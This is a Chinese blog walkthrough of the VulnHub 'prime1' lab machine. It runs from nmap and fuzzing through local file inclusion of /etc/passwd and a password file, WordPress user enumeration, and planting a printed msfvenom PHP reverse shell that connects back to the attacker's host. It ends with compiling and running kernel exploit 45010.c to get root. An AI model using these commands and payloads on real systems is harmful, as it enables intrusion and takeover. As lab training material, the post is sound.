vulnhub靶场实战系列(二)之 prime1

系列文章

vulnhub靶场实战系列(一)之vulnhub靶场介绍

vulnhub靶场实战之 prime1

我们本次渗透模拟的靶机是来自vulnhub靶场的 prime1

在这里插入图片描述

安装的方法自行百度

在这里插入图片描述

环境准备

名称IP用户
kali(攻击机)192.168.41. 13kali
prime1(靶机)未知victor(密码未知)

实际环境如图所示:

在这里插入图片描述
在这里插入图片描述

目的:获得目标靶机flag

主机发现和端口扫描

首先第一步,我们需要探测目标靶机的IP信息和端口,才能进行后续的操作

nmap 192.168.41.0/24

在这里插入图片描述

扫描发现192.168.41.29主机存活且开放22,80端口

目录扫描

接下来我们打开浏览器来访问目标靶机的80端口提供的web服务

在这里插入图片描述

发现并没有什么登录框等常规存在漏洞的地方,接下来我们进行目录扫描

dirb http://192.168.141.29/

在这里插入图片描述

爆破得到以下几个界面:

http://192.168.141.29/dev
http://192.168.141.29/index.php
http://192.168.141.29/wordpress

我们接下来用浏览器与访问这些目录,打开后发现没有什么可以利用的地方,就只有一些单纯的文本而已,现在我们换一种思路,指定后缀扫描

dirb http://192.168.41.29 -X .txt,.php,.zip

在这里插入图片描述

发现了一个cecret.txt的文本文件,我们打开它查看:

在这里插入图片描述

翻译后是这样的,他这里提示我们下一步可以进行fuzz模糊测试来进一步进行渗透

在这里插入图片描述

FUZZ和LFI

既然他提示我们用fuzz进行模糊测试,那我们接下来便试试测试index.php的参数

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.41.29/index.php?FUZZ

执行后得到很多结果

在这里插入图片描述
在这里插入图片描述
这里就犯难了,那么多的参数,我们哪里看的过来,所以这里我们需要改变一下思路,去找那些不相同的,我们可以看到大部分的响应内容都是12 word的,那我们就过滤12个Word的结果看看

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.41.29/index.php?FUZZ

在这里插入图片描述

最终得到 http://192.168.41.29/index.php?file=??? ,结合上一步提示 curl http://192.168.41.29/index.php?file=location.txt

在这里插入图片描述
在这里插入图片描述
得到正确参数 secrettier360,这句话翻译过来就是我们需要在别的php文件去使用这个参数

那我们就去目录下扫他后缀为php的文件

dirb http://192.168.41.29/ -X .php

在这里插入图片描述

一共就发现了两个php的文件,那么结果已经显然易见了,结合一下

最终通过前面的种种利用,我们最终得到了下面这个url的链接:http://192.168.41.29/image.php?secrettier360,那么这个链接一般会有什么漏洞呢?一般这种后面有参数的经常可能会出现本地文件包含漏洞,我们抱着试一试的心态去测试一下

http://192.168.41.29/image.php?secrettier360=/etc/passwd

在这里插入图片描述

发现这里存在着一个文件包含敏感信息泄露漏洞,直接将密码文件给爆出来了

curl http://192.168.41.29/image.php?secrettier360=/etc/passwd

在这里插入图片描述

我们再查看泄露的信息中发现了一个提示::find password.txt file in my directory:/home/saket:

那接下来我们就通过他的提示去试试

curl http://192.168.41.29/image.php?secrettier360=/home/saket/password.txt

在这里插入图片描述

在这里插入图片描述

得到密码 follow_the_ippsec

wordpress漏洞利用

那么问题来了,我们得到了密码,却没有用户名,我们回想一下,除了之前扫到的ssh服务,我们是不是还扫到了一个wordpress的CMS

在这里插入图片描述

我们现在去枚举一下他网站存在的用户试试

cmseek -u http://192.168.41.29/wordpress/

在这里插入图片描述
发现没有枚举出什么用户,这里可能是这个网站不太行,我们切换个工具试试

wpscan --url http://192.168.41.29/wordpress/ --enumerate u

在这里插入图片描述
在这里插入图片描述

发现了用户名 victor ,现在我们去登录网站试试

在这里插入图片描述
成功登录进网站

在这里插入图片描述

接下来我们就要去找网站的漏洞点利用了,熟悉wordpress的朋友都知道,woedpress有一个主题编辑器 Appearance—>Theme Editor可以修改文件,我们可以向这个文件中写入反弹的shell,来获得目标机器的控制权

在这里插入图片描述

我们经过寻找,终于找到了一个我们可以修改写入的文件secret.php

接下来我们就要利用到msf了

生成PHP的反弹shell:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.41.13 lport=7777 -o shell.php

在这里插入图片描述

cat shell.php

在这里插入图片描述

/*<?php /**/ error_reporting(0); $ip = '192.168.41.13'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

kali启动一个端口 监听利用

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.41.13
set lport 7777
exploit

在这里插入图片描述

把shell放到靶机wordpress的主题编辑器里唯一可以编辑的php文件:secrect.php(删掉/*,写入生成的shell)

在这里插入图片描述
浏览器访问这个shell

http://192.168.41.29/wordpress/wpcontent/themes/twentynineteen/secret.php

在这里插入图片描述
反弹连接成功,进入meterpreter

在这里插入图片描述
在这里插入图片描述

现在我们已经获得了一个普通用户的权限,接下来就是提权得到root权限,最终得到flag

Linux内核漏洞提权

我们这里通过前期的信息收集,发现了他是一个Linux系统,对于Linux系统提权最常见的就是内核提权了

uname -a //查看系统内核

在这里插入图片描述

searchsploit 16.04 Ubuntu //查询对应的内核漏洞

在这里插入图片描述

发现了一个符合条件的系统内核提权漏洞,将其下载到本地

searchsploit -m 45010.c

在这里插入图片描述

编译攻击脚本

gcc 45010.c -o 45010

在这里插入图片描述
上传攻击脚本到靶机,发现对方机器只有/tmp有权限

upload /home/kali/桌面/45010 /tmp/45010

在这里插入图片描述
shell命令进入shell

cd /tmp
ls
chmod +x 45010
./45010 #运行可执行文件,获得root的权限
whoami

在这里插入图片描述

成功提权得到root权限

cd /root
ls

在这里插入图片描述

发现root目录下存在root.txt文件,查看该文件得到flag

cat root.txt

在这里插入图片描述

posted @ 2023-03-07 23:56  私ははいしゃ敗者です  阅读(51)  评论(0编辑  收藏  举报  来源